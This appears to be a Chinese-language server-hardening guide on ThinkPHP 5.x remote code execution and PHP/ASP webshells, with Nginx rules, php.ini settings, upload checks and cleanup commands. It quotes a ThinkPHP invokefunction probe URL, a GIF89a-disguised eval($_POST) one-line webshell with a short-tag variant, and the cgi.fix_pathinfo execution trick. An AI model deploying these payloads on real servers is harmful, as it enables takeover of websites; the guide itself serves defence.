0%

网络攻击

Php.Trojan.Php.Azlw与Asp.Backdoor.Webshell.Pgil均为典型的网站脚本木马(Webshell),主要通过文件上传漏洞、代码注入、弱口令等方式入侵,用于窃取数据、篡改网站或长期控制服务器。

ThinkPHP5.X漏洞

一、攻击

  1. /?s=../\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars [0]=md5&vars [1][]=HelloThinkPHP
  • 拆解
    • s=../\x5Cthink\x5Capp/invokefunction:通过路径穿越 + 十六进制转义\x5C(代表\),调用 ThinkPHP 核心类think\app的invokefunction方法
    • function=call_user_func_array:调用 PHP 危险函数,用于执行任意代码;
    • md5(‘HelloThinkPHP’):黑客测试漏洞是否存在(计算字符串 MD5 值是通用测试手段)。
  • 目的:尝试在你的服务器上执行任意 PHP 代码,获取网站控制权、上传木马、篡改数据等

二、方案

  1. 升级ThinkPHP版本
  • 如果你用的是 ThinkPHP 5.0.x:升级到 5.0.24 最新版本
  • 如果你用的是 ThinkPHP 5.1.x:升级到 5.1.41 最新版本
  1. 临时方案(无法升级ThinkPHP版本)
  • 打开网站目录 /thinkphp/library/think/App.php
  • 搜索invokefunction方法,添加严格的函数白名单限制,禁止执行call_user_func等危险函数
  1. 开启防跨站攻击(open_basedir)
    • chattr -i .user.ini,解锁
    • chattr +i .user.ini,加锁
  1. 禁用危险函数
1
system,exec,shell_exec,passthru,proc_open,proc_open,call_user_func,call_user_func_array
  1. 其他方案
  • 删除网站根目录无用的测试文件、入口文件
  • 定期更新宝塔面板、PHP 环境、网站程序到最新版
  • 不要使用弱密码,关闭服务器不必要的端口
  • Nginx防护
1
2
3
4
5
6
7
8
9
10
11
12
13
# Nginx 配置示例,添加到你的网站配置里
location ~* ^/runtime/.*\.log$ {
deny all;
return 403;
}
location ~* ^/application/.*\.(env|bak|ini)$ {
deny all;
return 403;
}
location ~* ^/application/(config|configs)/application\.ini$ {
deny all;
return 403;
}
  • 开启强制路由,隐藏 ?s= 形式的入口参数,使用伪静态 URL
  • 高频扫描IP加入黑名单

恶意脚本伪装成图片文件

一、攻击

  1. 典型恶意文件长这样
1
2
3
4
GIF89a
<?php
eval($_POST['cmd']); // 一句话木马
?>

二、防护

  1. Nginx配置:访问任何.php文件直接返回403
1
2
3
4
5
# 拦截上传目录里的所有 PHP 执行
location ~* /uploads/.*\.(php|php5|php4|php3|phtml)$ {
deny all;
return 403;
}
  • 如果使用Apache,则在上传目录新建.htaccess,并加入以下内容
1
php_flag engine off
  • 如果使用IIS:上传目录 → 处理程序映射 → 移除 PHP 执行权限。
  1. 严格验证文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 1. 强制使用白名单后缀
$allowExt = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowExt)) {
die("非法文件类型");
}

// 2. 读取文件前2字节,验证真实图片头(防GIF89a伪装)
$file = fopen($tmpName, 'rb');
$first4Bytes = fread($file, 4);
fclose($file);

// 真实 GIF 文件头是 GIF89a / GIF87a
$isRealGif = str_starts_with($first4Bytes, 'GIF8');

// 真实 JPG = \xFF\xD8\xFF
// 真实 PNG = \x89\x50\x4E\x47

if (!$isRealGif) {
die("不是真实图片");
}
  1. 二次渲染图片,通过使用GD/ImageMagick 重新生成一张图片,PHP 代码会全部消失。
1
2
3
$img = imagecreatefromgif($tmpName);
imagegif($img, $newFilePath); // 生成新的干净图片
imagedestroy($img);
  1. 重命名上传文件
1
$newName = md5(uniqid()) . '.jpg';
  1. 修改php配置文件
1
2
3
4
5
6
7
8
; 关闭文件类型漏洞,PHP拒绝处理任何不标准的路径
cgi.fix_pathinfo = 0

; 禁止短标签(避免被 <? 绕过)
short_open_tag = Off

; 关闭危险函数
disable_functions = eval,system,exec,passthru,shell_exec
  • cgi.fix_pathinfo = 0,假设设置为1

    • 攻击者上传一个shell.gif,里面里面藏 GIF89a + PHP 代码
    • 通过访问/storage/images/2025/shell.gif/.php,服务器会错误地把.gif文件当成PHP执行
    • Nginx 找不到 shell.gif/.php就会往前找,把 shell.gif 交给 PHP 执行
  • short_open_tag = Off,禁止使用短标签 <? ,防止一句话木马绕过

    • 正常php代码

      1
      <?php eval($_POST['cmd']); ?>
    • 木马代码

      1
      <? eval($_POST['cmd']); ?>
    • GIF89a 图片马最喜欢用短标签!

      1
      2
      GIF89a
      <? eval($_POST['x']);?>
  1. 将本地存储更换为对象存储,跟服务器隔离

chmod -R 700 storage,storage 目录被上传了 php 脚本

一、处理

  1. cd /www/wwwroot/网站目录
  2. 给storage目录创建禁止执行PHP的规则
1
2
3
4
# 创建防执行文件
echo "<?php exit; ?>" > storage/.user.ini
# 加锁防止被篡改(宝塔防跨站专用)
chattr +i storage/.user.ini
  1. 在加固一个.htaccess
1
2
3
4
5
6
7
cat > storage/.htaccess << 'EOF'
<FilesMatch "\.php$">
Deny from all
Return 403
</FilesMatch>
php_flag engine off
EOF
  1. 扫描并删除php木马:find /www/wwwroot/网站目录/storage -name “*.php” -delete
  2. 修改目录权限
1
2
chmod -R 755 storage
chown -R www:www storage
  1. 开启防跨站攻击

    • ThinkPHP/Laravel
    1
    open_basedir=/www/wwwroot/yourdomain.com/:/www/wwwroot/yourdomain.com/public/:/tmp/
  2. nginx配置

1
2
3
4
location ~* ^/storage/.*\.(php|php5|php4|php3|phtml)$ {
deny all;
return 403;
}

Php.Trojan.Php.Azlw、Asp.Backdoor.Webshell.Pgil木马

一、基础

  1. Php.Trojan.Php.Azlw
  • 典型代码:大量 eval(base64_decode(…))、assert 加密执行
  • 隐藏方式:
    • 插入正常 PHP 文件尾部 / 头部(一句话木马)
    • 伪装成 cache.php、config.php、thumb.php 等常见文件名
    • 上传目录(如 /upload/、/temp/)下的可疑 .php 文件
  • 攻击行为:执行系统命令、读写文件、创建新后门、连接远控
  1. Asp.Backdoor.Webshell.Pgil
  • 典型代码:Execute(Request(…))、eval、ScriptEncoder 加密
  • 隐藏方式:
    • 伪装成 conn.asp、inc.asp、top.asp 等包含文件
    • 图片 / 附件目录下的 .asp、.asa、.cer 解析文件
  • 攻击行为:文件管理、提权、植入更多后门、窃取数据库

二、已感染时紧急处理

  1. 隔离与备份(止损)
  • 切断网络:暂停网站或断网,防止攻击者继续操作
  • 安全备份
    • 只备份 数据库(SQL)、纯净源码(已知干净版本)、用户上传资源
    • 不要备份整个网站目录(会连带备份木马)
  1. 全盘查杀-无需工具
1
2
3
4
5
6
7
8
9
10
11
# 1. 扫描 PHP 木马特征(eval、base64、文件写入)
grep -r --include="*.php" "eval.*base64_decode\|assert\|file_put_contents.*\$_POST" /网站根目录/

# 2. 扫描 ASP 木马特征
grep -r --include="*.asp" "Execute\|eval\|request.form\|server.createobject" /网站根目录/

# 3. 查找上传目录里的脚本文件(高危)
find /上传目录/ -name "*.php" -o -name "*.asp" | xargs ls -l

# 4. 查找最近 7 天被修改的可疑文件
find /网站根目录/ -mtime -7 -name "*.php" -o -name "*.asp"
  1. 彻底清除
  • 删除所有扫描出的木马文件
  • 清理被注入的正常文件
    • 打开可疑 PHP/ASP 文件,删除末尾 / 头部的恶意代码段
    • 用 原始干净源码 覆盖被篡改文件(最稳妥)
  • 检查系统后门
1
2
3
4
5
6
# 查看异常计划任务
crontab -l
# 查看异常进程
ps aux | grep php
# 查看异常端口
netstat -tulnp
  1. 重置所有密码
  • 服务器 SSH、FTP、数据库、网站后台、Redis 等所有账号密码
  • 强制所有用户重新登录,清除会话令牌

三、永久防范

  1. PHP层面
  • 禁用高危函数(最有效)
1
disable_functions = eval,assert,system,exec,passthru,shell_exec,proc_open,popen,dl,pcntl_exec
  • 关闭危险配置
1
2
3
4
5
allow_url_fopen = Off
allow_url_include = Off
expose_php = Off
display_errors = Off
open_basedir = /网站目录/:/tmp/ # 限制 PHP 访问目录
  1. 权限控制
  • 可写目录不给执行权

    • 上传目录 /upload/、/attachment/:只允许写,禁止解析 PHP/ASP

    • Nginx配置

      1
      2
      3
      location ~* /upload/.*\.(php|php5|asp)$ {
      deny all;
      }
    • 文件/目录权限

      • PHP/ASP 文件:644(只读)
      • 目录:755(禁止写入)
      • 配置文件:400(只读)
  1. 文件上传防护
  • 白名单校验:只允许 jpg/png/gif/pdf,拒绝 php/asp/asa/cgi
  • 重命名上传文件:不使用用户上传的文件名,改为随机字符串
  • 上传目录移至 Web 根目录外,通过脚本读取输出
  • 前端 + 后端双重校验,后端必须校验文件类型
  1. 服务器与Web应用防护
  • 更新升级:系统、PHP、Apache/Nginx、数据库、CMS(WordPress/DedeCMS)、所有插件 / 主题 保持最新
  • 部署WAF:通过宝塔Nginx防火墙、云盾、OpenWAF等拦截
  • 日志监控
    • 定期检查access.log,发现异常IP频繁访问 .php? 长参数或访问上传目录下的.php文件
  1. 代码安全规范
  • 不使用来历不明的源码、插件、主题(很多自带后门)
  • 所有用户输入严格过滤:防 SQL 注入、XSS、代码注入
  • 关键操作加验证码、Token 验证、二次认证

宝塔日志扫描与防护

一、类型

攻击类型 数量 含义与风险
SQL 注入 818 次 攻击者尝试通过 URL 参数、表单提交等方式,注入 SQL 语句,目的是拖库、删库、获取管理员权限。
XSS 跨站脚本 104 次 攻击者尝试注入恶意 JS 脚本,窃取用户 Cookie、伪造操作,或在后台植入后门。
扫描探测 585 次 攻击者用工具(如 dirsearch、nuclei)扫描你的网站路径、端口,寻找备份文件、后台地址、漏洞入口。
PHP 攻击 6 次 主要针对 ThinkPHP 框架历史漏洞(如 RCE 远程代码执行、文件上传漏洞),尝试直接获取服务器控制权。

二、加固

  1. 开启并配置宝塔 Nginx 防火墙(WAF)
  • 安装并启用「Nginx 防火墙」插件
  • 开启核心防护规则:SQL 注入防护、XSS 防护、恶意扫描防护、PHP 一句话防护
  • 启用「CC 防护」,限制单 IP 请求频率(如单 IP 每分钟最多 100 次请求)
  • 开启「IP 黑名单」,自动封禁高频攻击 IP(如 1 小时内请求超过 1000 次的 IP)
  • 查看「拦截日志」,确认攻击请求已被成功拦截
  1. ThinkPHP 框架专项加固
  • 升级框架版本
    • 若使用 ThinkPHP 5.x:升级到最新的 5.1.41/5.0.24 版本,修复 RCE 漏洞
    • 若使用 ThinkPHP 6.x/8.x:升级到最新稳定版,开启强制路由和安全模式
  • 禁用危险功能
1
2
3
4
5
6
// config/app.php 配置
return [
'auto_route' => false, // 禁用自动路由,防止路由解析漏洞
'route_check' => true, // 开启路由白名单校验
'default_filter' => 'htmlspecialchars', // 全局默认变量过滤,防XSS
];
  • SQL 注入防护

    • 禁止使用原生 SQL 的exp、raw、whereOr拼接用户输入,必须使用 ORM 参数化查询
    • 对所有 URL 参数、表单参数进行类型校验(如 ID 必须为数字,用intval()强转)
  • XSS 防护

    • 模板输出默认开启自动转义(ThinkPHP 默认开启,不要手动关闭)
    • 富文本编辑器输出前,用htmlspecialchars()或框架自带的clean_xss函数过滤
  • 关闭敏感信息

    • 生产环境关闭app_debug调试模式,防止暴露错误栈和路径信息
    • 隐藏 ThinkPHP 版本号(修改composer.json和框架配置)
  • TP5安全配置(config.php/app.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
return [
// 关闭调试(生产环境必须关闭)
'app_debug' => false,
'app_trace' => false,

// 隐藏版本 + 安全输出
'version' => '',

// 全局过滤防XSS
'default_filter' => 'htmlspecialchars',

// 关闭自动路由,强制路由白名单(防框架漏洞)
'url_route_must' => true,
'url_auto_index' => false,

// 数据库参数化查询,防SQL注入
'params_bind' => true,

// 异常安全提示
'exception_message' => '系统异常,请稍后再试',
'error_message' => '访问错误,请稍后再试',

// 安全Cookie
'cookie_secure' => true,
'cookie_httponly' => true,
'cookie_samesite' => 'Strict',
];
  • TP6/TP8安全配置(config/app.php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
return [
// 生产环境关闭调试
'app_debug' => false,
'show_error_msg' => false,

// 全局XSS过滤
'default_filter' => 'htmlspecialchars',

// 强制路由(非常重要,防TP框架漏洞)
'auto_route' => false,
'route_annotation' => false,

// 关闭多应用敏感路由(如未使用多应用)
'deny_route_list' => ['think', 'admin', 'config'],

// 异常安全输出
'http_exception_template' => [
404 => './404.html',
500 => './500.html',
],

// 安全Cookie
'cookie' => [
'secure' => true,
'httponly' => true,
'samesite' => 'Strict',
],
];
  • TP6/TP8数据库安全配置(config/database.php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
return [
'default' => 'mysql',
'connections' => [
'mysql' => [
'type' => 'mysql',
'hostname' => env('database.hostname', '127.0.0.1'),
'database' => env('database.database', ''),
'username' => env('database.username', ''),
'password' => env('database.password', ''),
'charset' => 'utf8mb4',
'prefix' => '',
'params' => [
PDO::ATTR_EMULATE_PREPARES => false, // 强制防SQL注入
],
'trigger_sql' => false, // 关闭SQL日志
],
],
];
  1. 服务器与网站配置加固
  • 禁止直接访问.env、.sql、.bak、.log等敏感文件,在 Nginx 配置中添加拦截规则:
1
2
3
location ~* \.(env|sql|bak|log|swp)$ {
deny all;
}
  • 限制PHP执行权限:网站根目录外的目录禁止执行 PHP(如upload、static目录)
  • 定期清理网站日志和备份文件,避免泄露敏感信息
  • 修改宝塔后台默认端口(如 8888),启用 IP 白名单登录,防止面板被暴力破解
  1. 持续监控与应急处理
  • 定期查看宝塔 WAF 拦截日志和网站访问日志,关注高频攻击 IP 和异常请求路径
  • 定期备份数据库和网站源码,备份文件加密存储,避免被下载
  • 若发现有攻击绕过 WAF,立刻修改对应接口参数校验规则,并提交 WAF 规则更新